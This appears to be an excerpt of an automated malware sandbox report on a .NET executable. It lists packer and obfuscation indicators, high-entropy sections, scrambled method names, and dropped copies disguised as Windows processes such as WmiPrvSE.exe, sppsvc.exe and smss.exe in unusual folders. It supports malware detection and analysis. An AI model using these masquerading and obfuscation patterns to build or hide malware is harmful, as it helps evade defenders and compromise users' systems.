Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 2RM12KtuNp.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: 2RM12KtuNp.exe

Static file information: File size 1455616 > 1048576

Source: 2RM12KtuNp.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x15fc00

Source: 2RM12KtuNp.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 2RM12KtuNp.exe, lfBKgybKIWOl2QD3Vbu.cs

.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: 2RM12KtuNp.exe, fYHj1RupqU7Pn2SoLkC.cs	.Net Code: BsCWnZvxnZ System.AppDomain.Load(byte[])
Source: 2RM12KtuNp.exe, fYHj1RupqU7Pn2SoLkC.cs	.Net Code: BsCWnZvxnZ System.Reflection.Assembly.Load(byte[])
Source: 2RM12KtuNp.exe, fYHj1RupqU7Pn2SoLkC.cs	.Net Code: BsCWnZvxnZ

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Code function: 0_2_00007FF848D900BD pushad ; iretd	0_2_00007FF848D900C1
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Code function: 6_2_00007FF848D800BD pushad ; iretd	6_2_00007FF848D800C1
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Code function: 8_2_00007FF848D800BD pushad ; iretd	8_2_00007FF848D800C1
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Code function: 23_2_00007FF848DB00BD pushad ; iretd	23_2_00007FF848DB00C1
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Code function: 24_2_00007FF848D800BD pushad ; iretd	24_2_00007FF848D800C1
Source: C:\Recovery\sppsvc.exe	Code function: 27_2_00007FF848D800BD pushad ; iretd	27_2_00007FF848D800C1
Source: C:\Recovery\sppsvc.exe	Code function: 28_2_00007FF848DB00BD pushad ; iretd	28_2_00007FF848DB00C1
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Code function: 30_2_00007FF848DA00BD pushad ; iretd	30_2_00007FF848DA00C1
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Code function: 35_2_00007FF848D900BD pushad ; iretd	35_2_00007FF848D900C1
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Code function: 35_2_00007FF848DAD943 push cs; iretd	35_2_00007FF848DAD947
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Code function: 36_2_00007FF848DA00BD pushad ; iretd	36_2_00007FF848DA00C1
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Code function: 39_2_00007FF848D800BD pushad ; iretd	39_2_00007FF848D800C1
Source: C:\Recovery\sppsvc.exe	Code function: 40_2_00007FF848DA00BD pushad ; iretd	40_2_00007FF848DA00C1

Source: 2RM12KtuNp.exe	Static PE information: section name: .text entropy: 7.137836698010557
Source: fuBYljHeUjtkgvlnN.exe.0.dr	Static PE information: section name: .text entropy: 7.137836698010557
Source: sppsvc.exe.0.dr	Static PE information: section name: .text entropy: 7.137836698010557
Source: fuBYljHeUjtkgvlnN.exe0.0.dr	Static PE information: section name: .text entropy: 7.137836698010557
Source: WmiPrvSE.exe.0.dr	Static PE information: section name: .text entropy: 7.137836698010557

Source: 2RM12KtuNp.exe, yQllWLfHe0QC2Mkej0j.cs	High entropy of concatenated method names: '_7tu', '_8ge', 'DyU', '_58f', '_254', '_6Q3', '_7f4', 'B3I', '_75k', 'd4G'
Source: 2RM12KtuNp.exe, h5JOJwWaXxrQDnVESRM.cs	High entropy of concatenated method names: 'JJ9oS2Nger', 'Tkno2k97B7', 'pQpohPIZKj', 'YN5QrwR4xgm89RWq2yh', 'rsUQ9JRSXKG74SqG3UF', 'O1M0GGRNYRPUnLuVYsC', 'RoK03ERAZfWPya9jlsO', 'pY4og3JSgw', 'C6ZoYrh3yS', 'TUWoP4QqhX'
Source: 2RM12KtuNp.exe, y8IoSwWs8Zh7Gbwst5J.cs	High entropy of concatenated method names: 'zZZpgyPOe6', 'xIUpYLg3iF', 'CpxpPwjVUn', 'sFTuGgruVAIvMhGacRi', 'VEBVyTrWfrkkrM3wFD3', 'f43aDurtKX8DFJRohRc', 'j3f9cUrfV5bDRvK7TD0', 'V1Kpft3hsK', 'SmNpbed6A5', 'A1apoDEyig'
Source: 2RM12KtuNp.exe, lDvIvLALrknCrEi76iK.cs	High entropy of concatenated method names: 'AxSHNJ5S0k', 'N6pHATQfwR', 'FkGHfqkYXV', 'Da3HbxiQDh', 'drpHoRsq4y', 'WpAHpkRhah', 'eoYHaPZF9k', 'bVmHUiS7J8', 'YhUHXteDUb', 'BkkHyGK805'
Source: 2RM12KtuNp.exe, FA0TeJAGBCCWRefh5JS.cs	High entropy of concatenated method names: 'NfSHeo3eYp', 'akDHrH5gOf', 'F8e', 'bLw', 'U96', '_71a', 'O52', 'RuCH7fn4BX', '_5f9', 'A6Y'
Source: 2RM12KtuNp.exe, DoHHHBfVOBZ3ciltcZB.cs	High entropy of concatenated method names: 'D4M', '_4DP', 'HU2', '_4Ke', '_5C9', '_7b1', 'lV5', 'H7p', 'V5L', '_736'
Source: 2RM12KtuNp.exe, nYasF6xSU79Vuyrfq4.cs	High entropy of concatenated method names: '_66K', 'YZ8', 'O46', 'G9C', 'RQbZl95PTneuB1GAFgy', 'EI5tCv51m9SZUEEuJbX', 'qlRZvF5SqcimO0WMCVV', 'BQ946F5NBdIoI6ZJ3L8', 'PNZCYb54029x98fBBZZ', 'IIflxZ5AP00yMI7KQ6m'
Source: 2RM12KtuNp.exe, v1uSH7iVCCeVOTDmqhb.cs	High entropy of concatenated method names: 'Ai7', 'YZ8', '_56U', 'G9C', 's0Qu4R7OhEoocfThTke', 'vSlk877zYF7ybV0ocWA', 'ixqqbHoi8kKis4yLxIR', 'p6I2PcodnHsXpEsHjGs', 'DbihFdowRcYxPiHsJ0d', 'hsDpt3o21rt67AMMBlI'
Source: 2RM12KtuNp.exe, arOriH3uJ53AyHK47k.cs	High entropy of concatenated method names: 'pHw', 'YZ8', 'v2R', 'G9C', 'egsgF4G65Ohpemd6CWb', 'gbCRygGY9TA7HRB6SjV', 'tKuCXCGVOy8rrAlRqRj', 'd9F816GxAQubqwPmw4a', 'vTMiIwGq8TvPvpgjNTT', 'zdmrESG96O4QEKXHYhI'
Source: 2RM12KtuNp.exe, gAxLOtiqDBYGSyGEpgx.cs	High entropy of concatenated method names: 'X0WusuxeMd', 'BK2Pv71BuZZ7cI0thwV', 'VDhB9S1kohTr4i3ijo6', 'QtmIAN15FrOHnhQFPZN', 'xVZIFM1GOgPmS8YlW8E', 'GquJnW17WJQJVxuHX7g', '_5q7', 'YZ8', '_6kf', 'G9C'
Source: 2RM12KtuNp.exe, A6cIULN8g3iF6pxwjVU.cs	High entropy of concatenated method names: 'HVGySRtnB3', 'uINy2BFi3N', 'P23yhqHXcJ', 'rbjyOnoKox', 'DOhyTlXcWK', 'i8pkH080qFksbg76BXL', 'YjTkBO8lT1X1Cm6E7Gi', 'eZjRYq89qHLICMn2Zyn', 'vnL1X18XbZHxs9LevrA', 'pP2Z6J8QQgrNl1mKn5u'
Source: 2RM12KtuNp.exe, x13E0RqvC0aIr4bXao.cs	High entropy of concatenated method names: '_88Z', 'YZ8', 'ffV', 'G9C', 'FsNFoTGfeeN6sE9Pt2I', 'Kk5whJGcljIvmGRHs9s', 'bERVkaGmY993P29cpQ0', 'cwkiEmGIAxhO77Z4lXZ', 'xKDUTqGahEGZHin7mLE', 'gShZZgGFL0C8j4cgfvP'
Source: 2RM12KtuNp.exe, gRWle7uMOy7uo5jrgJm.cs	High entropy of concatenated method names: 'DLuNKTZZxR', 'E8UNnGfQRS', 'zy4awjAsvuDNXHYAwKY', 'A5eMN1AHPcZ30EksuCj', 'WcFYAMAboVNRoqWw6Aj', 'sOkYWoATJ3vxhkxdbAQ', 'Fd76GnA8jBEVUA6f7IJ', 'FhtILDAvQ6TmdLUWRTY', 'LHNLJ9A6104tUtlX1dK', 'KyO5YsAYZYRyfKfdSQD'
Source: 2RM12KtuNp.exe, JoxVSRuBTR9d9yA4sWf.cs	High entropy of concatenated method names: 'PeVfobanJt', 'tC8fpZ9Q84', 'Ky50lnKeIyh9pbLntY2', 'zMovGgKMeRTrqNkKIHG', 'HJ3OOfKDvUBpHh4LyPx', 'bMZNRIKU36jyE1jlQ2j', 'i0YfP765kd', 'N9UwtdLiEPuvWu4WYyp', 'HMAAxnLdeZP9olC9DKs', 'NvkGq3KOLTcRdi0rYLN'
Source: 2RM12KtuNp.exe, nNmJ4FI3GQdWG7jm7a.cs	High entropy of concatenated method names: 'NTd2vcYT4', 'GL9hiOu37', 'YfYOk9tqY', 'XhaCMhdnr0xZUs3sxBj', 'RD3TDwdliFoTkS7FHUH', 'XGHq1wdQl7mOfnfcM1Z', 'ig0x86dywGiedChQiLQ', 'w0g3fadZuT2DuvqHKTC', 'qdG4LHdWmARLo6qjRat', 'iY11LMdtysvv6Aecjl8'
Source: 2RM12KtuNp.exe, KZgl98WjuobFdjZtOD5.cs	High entropy of concatenated method names: '_525', 'L97', '_3t2', 'UL2', '_6V2', '_968', 'mfXAJ4bND43Z8wd8DiI', 'xdkKLPb4xYfY0F7WDA2', 'KNW6bvbACfXC2PfKhXN', 'TMmt1HbpvjXsWqyQLEx'
Source: 2RM12KtuNp.exe, AbQ7CoiivrO2heohI10.cs	High entropy of concatenated method names: 'tO4', 'YZ8', '_4kf', 'G9C', 'osDSjcBCFBgyFc09JEa', 'fd8w2XBJMVYJx73GYZW', 's5kPfiBRZQE5pnGGHwn', 'NFJH2FBr69PilJq5FQ1', 'eS1eAuBbSI8XWTTDCrI', 'Jl3C16BTSMI1jITgeXb'
Source: 2RM12KtuNp.exe, mWlab7NtLDAMXRsp1a3.cs	High entropy of concatenated method names: 'ICU', 'j9U', 'IBK', '_6qM', 'Amn', 'Mc2', 'og6', 'z6i', '_5G6', 'r11'
Source: 2RM12KtuNp.exe, FdOXXyWxDVBvER3cBbN.cs	High entropy of concatenated method names: 'sg9', 'orKTOSmY0X', 'Yl1pth9ANL', 'HrRT0GRIrt', 'wuhq6AbIadrc5ciTlkb', 'xZL5aXbaULMLKFnKxJH', 'F9e6qMbFwOd8op31Lu9', 'vKhIfcbcogaS3NxMvHR', 'xEXEnGbmwh3FHHAyKwE', 'b8GcVpbh8YExSf662Xt'
Source: 2RM12KtuNp.exe, IynTvaWCFkwHrvwkwHL.cs	High entropy of concatenated method names: 'nYBoQl6mov', 'mQTo3QYwKd', 'hP2oLrGk4C', 'S1IoqJ9TTV', 'mPEoFTWxmd', 'sItdGbrBB7fbhQBK1yq', 'Dd6k75rkuFHkfYtrolY', 'mhesh3r5RC9m28lwG3m', 'MjUv8trGCKvxENTvI5t', 'VsOaiZr7PxnGrmKNb8F'
Source: 2RM12KtuNp.exe, Hp0F32iEb8DIAG1pFIK.cs	High entropy of concatenated method names: '_7v4', 'YZ8', '_888', 'G9C', 'A3OZfxPqUblGroUMWVS', 'aEWPqoP9Dj3JRZYACeu', 'v1RtqwPXYV8gH8AuD51', 'EtmT3XP0xhO6Lmgn3D0', 'fA1pLOPlipMyrIOu9jj', 'WTh6DrPQxMDmGoxZ4db'
Source: 2RM12KtuNp.exe, SlHKnBBJrH3YgqYob5.cs	High entropy of concatenated method names: '_23T', 'YZ8', 'ELp', 'G9C', 'e7VSUH2MF5eP22sWsRb', 'ApkFfJ2goU55Hf4O3pl', 'goQ5bE2jdqVnoZggf1R', 'CLSClE2OFfdfyU93JPW', 'inJopI2zskxLjJmHZUb', 'DptGuG5i95ZXhToiSTE'
Source: 2RM12KtuNp.exe, oCYRNCNpXqt0lisDftx.cs	High entropy of concatenated method names: 'uxk', 'q7W', '_327', '_958', '_4Oz', 'r6z', 'r7o', 'Z83', 'L5N', 'VTw'
Source: 2RM12KtuNp.exe, elg5ZWW5mGqsUHLqmmg.cs	High entropy of concatenated method names: 'oYo', '_1Z5', 'AAsTHE2DNp', 'tSOaN78Be2', 'KNUTvFNiqi', 'wZvp8vTN4To6LdidFIJ', 'sWQ8IvT4kfRyJC51Pkj', 'qGKcMmTAOQwF1x46g1o', 'mSkw7lTp7YYy4O7y7KY', 'fFT275T3alH4TD6Zh0l'
Source: 2RM12KtuNp.exe, RuylGcSaMqtEI1lg2t.cs	High entropy of concatenated method names: 'g25', 'YZ8', '_23T', 'G9C', 'hDmlIBbbx', 'aZkIVDw0ZGpyH7uLX4t', 'kfgXKBwl3VOqfIfFwf9', 't20F8gwQjLSmrVoBhqk', 'gpn2GJwnF0OWl4TXnkl', 'HnWjwbwyBCmJjq46oc1'
Source: 2RM12KtuNp.exe, ePcvQ4N1vSQZGejOZYs.cs	High entropy of concatenated method names: '_7zt', 'dZ8ysHojqY', 'po9yMSSm6Z', 'xI8y8GHt3L', 'gN3yjNMnJb', 'mH4ymvyvVc', 'K0WywTBxd7', 'd2n8K58buL3GhjlQmwf', 'oVKN098T1K6ZLmpAJuS', 'BUaQhu8R5idIw21UUn5'
Source: 2RM12KtuNp.exe, W5WIGNvMFQvAGlpkdh.cs	High entropy of concatenated method names: '_468', 'YZ8', '_2M1', 'G9C', 'Yb1V1t5KqAyVrEoQEKp', 'x1Dgo35LJI4GEkyQPeL', 'Ajm07d5CXb8exIna97C', 'j7tTUI5JAPfIfYVUDQg', 'TMrnQh5Rh6ml6l9qRmp', 'MMS6dv5rn2MsEKCvbnh'
Source: 2RM12KtuNp.exe, L0edn2eQ7gU8Z2vR48.cs	High entropy of concatenated method names: 'T43', 'YZ8', '_56i', 'G9C', 'pBNuW6wPdTAdPBGQ7F3', 'z4F0fnw1vUNxAeSE6g3', 'CANyR7wSpTyauhHPjil', 'kbnpq6wNonKub8GY4wh', 'gevtkxw4fT4u2mHMRDj', 'vOZdqEwAlxnGX3YP2kj'
Source: 2RM12KtuNp.exe, oudIA3iD6VKMnhuWF4t.cs	High entropy of concatenated method names: 'py5uiCKVw1', 'RjCuuidtde', 'nG5uWqTsb8', 'aidpk2EhRk2wESZvPX0', 'dVeiwXEDJnvO8nfnr4l', 'JmBdo3EatODgE6JtnfI', 'beV2JMEF6EIGaS6iXxL', 'KQLs3PEU9cugoYoTqRX', 'up2O3uEebyrxgHSe8GL', 'EoEOv5EMDnVMtoVl2k3'
Source: 2RM12KtuNp.exe, pNytJDWi4ZXFLPcl8Ek.cs	High entropy of concatenated method names: 'LYQb7sKPvu', 'd7Ub6WoJg4', 'UuTbJXkrlv', 'fWxbkqZRtX', 'fkhoYHLzwA6aypSyiKP', 'crO6PSLjrq91ldAOl7W', 'vehxrJLOQllElI43JSo', 'GAxNTCCilV610RgFt2j', 'nksKHkCdMdaoq4wldt2', 'GQGLMtCwH1dSYndwGp2'
Source: 2RM12KtuNp.exe, MeMdN1ibMqFwxyCYOjh.cs	High entropy of concatenated method names: '_6H9', 'YZ8', '_66N', 'G9C', 'w3WvoGBecqI2AANT2FN', 'e5a6vnBMx5lrKHiHxcj', 'XPTviABgAHpDXAscQqk', 'PDcZrMBjIvnnH5BIbmC', 'X8BqEeBO741NF4Fqd3u', 'SaZJMNBzEfvRyVGSZjO'
Source: 2RM12KtuNp.exe, bYgPhyira9SrbHeYfKX.cs	High entropy of concatenated method names: 'GvP', 'YZ8', 'bp6', 'G9C', 'YL8IfOolPMfBucj6FfO', 'jLRRHEoQ8M8SlPVk6Zj', 'VH8dcWonFE0WV7vgjUO', 'MLR6FZoy2d7AVJ94b9H', 'KGss1moZN3ReniZriPE', 'ahpDXxoWYIgdZrnXK8S'
Source: 2RM12KtuNp.exe, a72CmoiGlFiVvQBGjY3.cs	High entropy of concatenated method names: 'KLvumQLFPD', 'fmFuw6GxJl', 'LZ8ucifeHL', 'FBQNaB1Pkyxw3CVPJWN', 'gOlAcY1oQO6WKKnpt1L', 'o999th1EWDp62gAWBHO', 'KY2xlJ11G4TujWjSuoR', 'DJ4LL91Sqjb9oSoXAKu', 'lLl4lG1Nqh4G1NQpXvR', 'eAU6T814Rg96RkagDMg'
Source: 2RM12KtuNp.exe, CZxNZFWYmcO0N0K6XeZ.cs	High entropy of concatenated method names: 'LkwoZAh48b', 'oLRo9vKFkf', 'TDdoEVxJjN', 'QvH97eRcAfU4IT5mhft', 'L4ZusMRmZSnjaKSUvdJ', 'ii9R1uRI9GcTeBBQ8UI', 'KJLILGRa5Adyg5eHlEC', 'uXxNkdRFD9fC0phoXGU', 'BFrGWgRhfMlFDyLbJP7', 'xjp5mIRDogZkwlGuIV4'
Source: 2RM12KtuNp.exe, pDfmF6ipGxJlxZ8ifeH.cs	High entropy of concatenated method names: '_3fO', 'YZ8', '_48A', 'G9C', 'wOpS3PkkmCchTjWi8q4', 'vX3CZGk7vRVSL8L1lBE', 'dtYiurkoOQ3B6u7BWal', 'uI4FLrkE67erUaDyui7', 'WjJwLPkPQLiDaS1wl4N', 'TfXRx4k19dp7YsNtMsP'
Source: 2RM12KtuNp.exe, WnN8k9iYLbaDtgvUD44.cs	High entropy of concatenated method names: '_981', 'YZ8', 'd52', 'G9C', 'MWGOm6kD5Z6VfIhSJl6', 'C8r7dEkUjIw8AOAF7Ud', 'fPk0hHkekOso92cpVn7', 'yue6X6kMx7PItdWXjgl', 're6uBfkg79rwL5dDNig', 'Tv8sn9kjSex0KqyOREl'
Source: 2RM12KtuNp.exe, rMNJavfSts0X9u3LoiB.cs	High entropy of concatenated method names: 'o1V7UBu5tBMbeYo2oAw', 'DvQZe9uGHHZowSu9Q6Z', 'tbYZ4tuw4ZmJIbuXhNP', 'oRRAyfu2AyHfQmFFGC0', 'gdGV2QlKxN', 'WM4', '_499', 'yS2VhTXAWm', 'ICJVOwcqvB', 'YgbVTwoXyS'
Source: 2RM12KtuNp.exe, SIHF5IiUvmFoSjXxA9B.cs	High entropy of concatenated method names: '_6U6', 'YZ8', '_694', 'G9C', 'wvaJnJkC8IgIIXK7wxH', 'lFtQSFkJJ525S1g0dsl', 'YEAgZPkRZxD8evpLwHx', 'GHFTpSkrL3C1pyGAqXv', 'AECI2skb2xr7w3v0a1M', 'tkGjahkTWxnV7sXeDCT'
Source: 2RM12KtuNp.exe, OkA2U3TYihbOk35U6w.cs	High entropy of concatenated method names: '_59M', 'YZ8', '_1zA', 'G9C', 'XCAmOt2lw3UA2Oavy43', 'u8bLW62Q9VwZ2vJdyiT', 'r9iup52ndLDborKfm4B', 'Nj886A2ytvsB6yt3Flv', 'U9V5Zp2Z1mxeWDAS7GG', 'BgH14F2WMbJrTZuqifH'
Source: 2RM12KtuNp.exe, lfBKgybKIWOl2QD3Vbu.cs	High entropy of concatenated method names: 'jhME3fc8GK4FjcvbXB6', 'O0yPfScvgREX5dYp26R', 'LHswcXcsBa6FRKk2MHi', 'ac7uGdcHmA0cUTCgeQ2', 'HuwJnRsiaj', 'S6pwpCcV7ltbN9qnwr0', 'rOH3drcxrgtprBQifLg', 'U7dtKjcqaqd6sFlsm7F', 'JrnIA8c9cPPiOfQLeOu', 'vFLibncXaM4Ku0CLBCd'
Source: 2RM12KtuNp.exe, yqCc9yiTmVwWpQ3U7GH.cs	High entropy of concatenated method names: 'OaIitr4bXa', 'jtova0EQslW8wv4J7MM', 'ool7NSEnNTnuevUjbQy', 'RN3voRE0ImgVqm8T88w', 'gEFnZTElel9KM7tMboA', 'KC04UgEy47UX3vsnh0x', '_3Xh', 'YZ8', '_123', 'G9C'
Source: 2RM12KtuNp.exe, ywcP0tu17SF6MyyuowQ.cs	High entropy of concatenated method names: 'Gx3WzAsW4M', 'OfZNdDyJi3', 'PK8Ni1TS3p', 'GKaNuGakBW', 'jWWNWQLnoA', 'MLONNtDBYG', 'FyGNAEpgx7', 'zZnNf0KDb3', 'QZHNbVa4F6', 'FG1NoXCkGj'
Source: 2RM12KtuNp.exe, sW4M0fi3ZDyJi35K81T.cs	High entropy of concatenated method names: '_589', 'YZ8', '_491', 'G9C', 'Q1pSqePak5lPEwCWCGS', 'IaDOqOPF1SuiTv6rW62', 'j0VZKCPhenEDbUO48rr', 'YwLEtFPD9iplDgb8FK8', 'I4vgm2PUM7P7kXamgx6', 'H8T7DCPeSIgJS8YbaoW'
Source: 2RM12KtuNp.exe, urbiNBfr6CHvcpQuSbK.cs	High entropy of concatenated method names: 'qRcVpgdGWK', 'hWhVaqYtQs', 'ixlVUYAOlR', '_3Gf', '_4XH', '_3mv', '_684', '_555', 'Z9E', 'cCCVXxEpKu'
Source: 2RM12KtuNp.exe, Aqu4f9isAQc2pIsBR3c.cs	High entropy of concatenated method names: 'W6Si7U79Vu', 'HuA3kX7KgBTvYZsqSkC', 'GVkyvD7LL7ww8jJIOVU', 'TkRXV57pb9xnsVYeCAu', 'bXM4g173rmf57Lego36', 'U4q1T67COaJqngoXqV8', 'f0jE6u7JQESIAkf0I5m', 'ctP6737RGk9uhbx8kPR', 'I2u7jH7rg2ufuMF4tLN', 'f28'
Source: 2RM12KtuNp.exe, LEPteON9xBAV3Ms34Fr.cs	High entropy of concatenated method names: 'P29', '_3xW', 'bOP', 'Th1', '_36d', 'D9KngFWN0M', 'IdLnYyKagj', 'r8j', 'LS1', '_55S'
Source: 2RM12KtuNp.exe, PElfOhuuMvi0l3ADLJa.cs	High entropy of concatenated method names: 'obqu4RoMmF', 'SOeuZqu4f9', 'eQcu92pIsB', 'J3cuEoLW01', 'cwKuQYPm4T', 'Ee3u3ODB0S', 'MYOg0lSKMKuNEEW2aid', 'V8dRofSLlUMIKMpnsmq', 'u55ebwSpYC6Eqi3PAlO', 'MO28FbS3OJ57Es1XmSB'
Source: 2RM12KtuNp.exe, rhQVi5i5pvC6YxBAH1J.cs	High entropy of concatenated method names: 'XRmuUMIoO0', 'OY4uXTqF0l', 'SyIwiiP18iuWuZ4nwuk', 'fuwraKPE0y4K0rL6VDV', 'IeDGCJPPLW48VSfldPC', 'KBLItkPS4f1HBOyYsZ3', 'Qt2bdgPNYdq1SmGlXZe', 'WjSlJGP4486sVlTI9a3', 'znvfZhPAaW7nAuXrRxF', 'WEiK6nPpgqmewo1hyvX'
Source: 2RM12KtuNp.exe, zQViieiAT3ht15Cjv4o.cs	High entropy of concatenated method names: 'K55', 'YZ8', '_9yX', 'G9C', 'iw2QJtBcF7GxcDTbC16', 'jZr5mwBmODbg2JHWD2a', 'KBCWHOBIuKg2nAd8LT0', 'ElkVmMBa34mgdI6myRx', 'Ly8j1lBFcETOcpBE4ss', 'm1IQSdBhb0e4eaZX594'
Source: 2RM12KtuNp.exe, Ha0Y76uG5kduVFJIVnL.cs	High entropy of concatenated method names: 'jFFbHi2l2D', 'iVJpkKLFCc0QoPyObQD', 'mEI6qKLIwMPnygxvfJT', 'uB2sJwLaXvm9qIeyRjm', 'mYNFPvLhYQt6qjcfVWw', 'Jg6pWwLDXT7lWEbbIt5', 'JIgb1L9N1U', 'c7Zbsb6ubq', 'jjjbMSLDZC', 'WZub8VEQTu'
Source: 2RM12KtuNp.exe, VL4AbfEpiLGA87SUBm.cs	High entropy of concatenated method names: '_8Ok', 'YZ8', 'InF', 'G9C', 'OWEmoXGAxjMIbtEIXBQ', 'BBD7A5GpLS6kpmjM0t4', 'j5oluoG3wsyjEEy4LB5', 'dCa3hIGK2dbP2fev9Bm', 'sDPqT3GLPfxwtsbIBlJ', 'Dj9wJDGCP0oZyUXItXe'
Source: 2RM12KtuNp.exe, Dai6atWyaXv73dN856G.cs	High entropy of concatenated method names: '_223', 'keLEcJRK4dRxiGrYssa', 'kvAuOMRLPNeFwASELJ2', 'DaH25ERCmfjMUS81wsE', 'eIUouaRJfQeYyGo19fn', 'KTyhbYRRAayAH5mHYZZ', 'qfGG2kRrpi08Yku1N4Y', 'sR4iW5RbD7gkAtf06wF', 'gT9rlxRTI92k8AL4OAv', 'Sd21r9RsLIWi5eYIJdR'
Source: 2RM12KtuNp.exe, hJxGw7ij7HPa4amUsLm.cs	High entropy of concatenated method names: 'gHL', 'YZ8', 'vF9', 'G9C', 'MlmAl77sY1q6JuMKwm3', 'OF3BFi7HxnEX17XAUpi', 'AZytjP78rpa1Iu6ZgDS', 'YETqHP7vY1fLlseCyU4', 'kaUpBt76ckkfgu38OHl', 'UfVXi17YLnTLNltnuRe'
Source: 2RM12KtuNp.exe, Rn584CfdX52nOnYl42w.cs	High entropy of concatenated method names: 'CvOH0AuXeX', 'v3GH5v1eCV', 'CUqH4ur63b', 'FX9HZ9AlIj', 'C3FH9WQ5Se', 'HeTHE8Kmc9', '_838', 'vVb', 'g24', '_9oL'
Source: 2RM12KtuNp.exe, QvoUaEffGM6EAStVWY1.cs	High entropy of concatenated method names: 'Qkp', '_72e', 'R26', '_7w6', 'Awi', 'n73', 'cek', 'ro1', '_9j4', '_453'
Source: 2RM12KtuNp.exe, K1MeJJW3g2PY43JSgw7.cs	High entropy of concatenated method names: '_269', '_5E7', 'G2JTAPCDRt', 'Mz8', 'IkDTakswK8', 'h76LhnThlG1LIWwJIkU', 'Wd2OiCTDQn9t7PeBkVX', 'Yx1eukTUaRT4JjxEMMt', 'IorkdDTeLMl4nvFmAoC', 'NPQevATMk0ob1VW7R8g'
Source: 2RM12KtuNp.exe, We6BH2fOYwhBFty9FJO.cs	High entropy of concatenated method names: 'U75rTC62EA', 'cUqCSkuVDDIR9Qg2B9S', 'q6PxY3uxchGmgNqXACg', 'U9ELBOu64aoeVetRLDE', 'm6SNYnuYke3xAAd2V2W', '_1fi', 'y8LeEqSXEK', '_676', 'IG9', 'mdP'
Source: 2RM12KtuNp.exe, FpEJ37Ncg3WoXDKYtHq.cs	High entropy of concatenated method names: '_45b', 'ne2', '_115', '_3vY', 'rMNKdJavts', '_3il', 'OX9Kiu3Loi', 'KOhKujklkS', '_78N', 'z3K'
Source: 2RM12KtuNp.exe, AeWgssWn1oG2kyrudXw.cs	High entropy of concatenated method names: 'drSolOupbi', 'Kd1ovi82UX', 'aexo03eplo', 'oCYo5RNCXq', 'XXUa1fRXVxIDepS15r7', 'PQqlUcR0RSJJ6NrH2lb', 'EsF9VdRl54SDVnHpa3r', 'MQ3fllRqHBJatLo7MDM', 'YOF9cbR9nNArW9Wi0HB', 'dJH7tdRQJ5PLNEkNnTC'
Source: 2RM12KtuNp.exe, jn3M1ObU2tuYJZ69KFW.cs	High entropy of concatenated method names: 'RmReiqCCxOPDx', 'RgJlPtcAQafniLM41N1', 'dWCo1ucp0FXswqLVAGo', 'Odrrpuc33f01a4x7LsF', 'qoZfg2cKOVjStUlY5Cr', 'ha2GpocLoIlOKP4C0kx', 'FvDQlfcNg0JCsumLjMj', 'vkTQMrc4IdAEK7yMCk6', 'z8GfSFcCK8XlEJWN8Cb', 'VmiC0ZcJYTvLIlc6xtA'
Source: 2RM12KtuNp.exe, LTUjM3zJDkQQphoUk8.cs	High entropy of concatenated method names: 'Y29', 'YZ8', 'jn6', 'G9C', 'I9turbB2ICxmd7Ge3G2', 'LNMw0eB52c54kyPKRda', 'ceNQRmBGb5P70G63Hfb', 'ubMm0NBB9rwBuFbKTEr', 'E6HUofBkXxNcdcQtP6O', 'GngEjiB71ql6MRnwDUL'
Source: 2RM12KtuNp.exe, UsVqWGu2eDbQvFwLwII.cs	High entropy of concatenated method names: 'p3sA7VqWGe', 'FJDHcP3j3VkZieQPaP2', 'bYChXR3OdXphRuJMbKf', 'hlWovL3Mw4pSwX2CfLO', 'Qt4r2V3gEJdm0Pg3osB', 'pp7xLy3zJhfVOraewDB', 'd9s0lrKitO1Bawss9Fx', 'zvEnJrKdnZ7hXyuZnRD', 'qRQY8OKw2k9HUNTyqpN', 'bA0RsKK2thafbPremT6'
Source: 2RM12KtuNp.exe, aVxJjNNUnYBl6movnQT.cs	High entropy of concatenated method names: '_4J6', '_5Di', '_1y5', '_77a', '_1X1', '_7fn', 'OUK', '_8S4', 'wUn', '_447'
Source: 2RM12KtuNp.exe, NBn4HIiWNr4FodKXPDn.cs	High entropy of concatenated method names: 'R1x', 'YZ8', '_8U7', 'G9C', 'bjmeQaBVvAXrEBc4CHC', 'AYSVJ6BxrNHauZtjj5N', 'eraOS1BqwftmLgF2SBd', 'oxqBvAB9BV4fw2X89U1', 'tP7kWyBXxJGdHDGEwYi', 'y9w8b8B0h2quEngfxed'
Source: 2RM12KtuNp.exe, WclBO6WzG7s9o6Pw42p.cs	High entropy of concatenated method names: 'iEKaeWlab7', 'UDAarMXRsp', 'ra3a7cuqxZ', 'Il0vwasWNcLB57m7e0q', 'defiw4stH2xZMFhhtUW', 'e5Ow5KsyyYYTwhGupvB', 'iEbMFKsZ0bwsUi40SE6', 'Wl8SjjsuRJEIuuyygt4', 'fWFX6wsfEB5AFTcSVA9', 'z0GQd3scntXEk2d1SJP'
Source: 2RM12KtuNp.exe, egBg9YWqo280dpnm990.cs	High entropy of concatenated method names: 'uudKTWsQWFMy9whdUkJ', 'ClQ2pwsnc5Gx51RQ3Fi', 'g9ylIKs0i6Qo6S34Nm3', 'ESXXGQslrx9QuBqegDM', 'IWF', 'j72', 'U4FaPrPhHS', 'knHaCf7LJo', 'j4z', 'z9Wa1M8Tef'
